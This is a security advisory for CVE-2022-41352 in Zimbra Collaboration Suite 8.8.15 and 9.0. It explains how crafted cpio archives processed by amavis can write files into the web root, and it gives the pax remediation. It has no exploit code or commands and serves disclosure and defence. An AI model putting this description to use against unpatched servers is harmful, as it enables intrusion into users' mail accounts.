CVE-2022-41352
Overview
This vulnerability is a directory traversal and arbitrary file upload flaw rooted in improper handling of archive extraction within the amavis component of Zimbra Collaboration Suite (ZCS) versions 8.8.15 and 9.0. The issue arises due to the use of the cpio utility for unpacking archives, which allows crafted cpio archives to write files outside intended directories via path traversal sequences. The affected component is the amavis mail filtering service integrated into ZCS, specifically its archive extraction mechanism.
Vulnerability Description
An issue was discovered in Zimbra Collaboration (ZCS) 8.8.15 and 9.0. An attacker can upload arbitrary files through amavis via a cpio loophole (extraction to /opt/zimbra/jetty/webapps/zimbra/public) that can lead to incorrect access to any other user accounts. Zimbra recommends pax over cpio. Also, pax is in the prerequisites of Zimbra on Ubuntu; however, pax is no longer part of a default Red Hat installation after RHEL 6 (or CentOS 6). Once pax is installed, amavis automatically prefers it over cpio.
Impact
An unauthenticated attacker can leverage this vulnerability to upload arbitrary files to the Zimbra server filesystem, potentially overwriting critical files or deploying malicious web content. This can lead to unauthorized access to other user accounts by manipulating web-accessible resources or escalating privileges within the mail system. The attack requires no user interaction or credentials. The business impact includes compromise of user data confidentiality, integrity of the mail system, and possible full system compromise through lateral movement or persistent backdoors.
Solution
Zimbra recommends installing the pax utility to replace cpio for archive extraction, as pax enforces stricter path validation. This is included in Zimbra prerequisites on Ubuntu but must be manually installed on Red Hat-based systems running ZCS 8.8.15 or 9.0. Detailed remediation steps and updates are available at the Zimbra Security Advisories and Security Center wiki pages (https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories and https://wiki.zimbra.com/wiki/Security_Center). Administrators should verify pax installation and ensure amavis uses pax for archive extraction to mitigate this vulnerability.
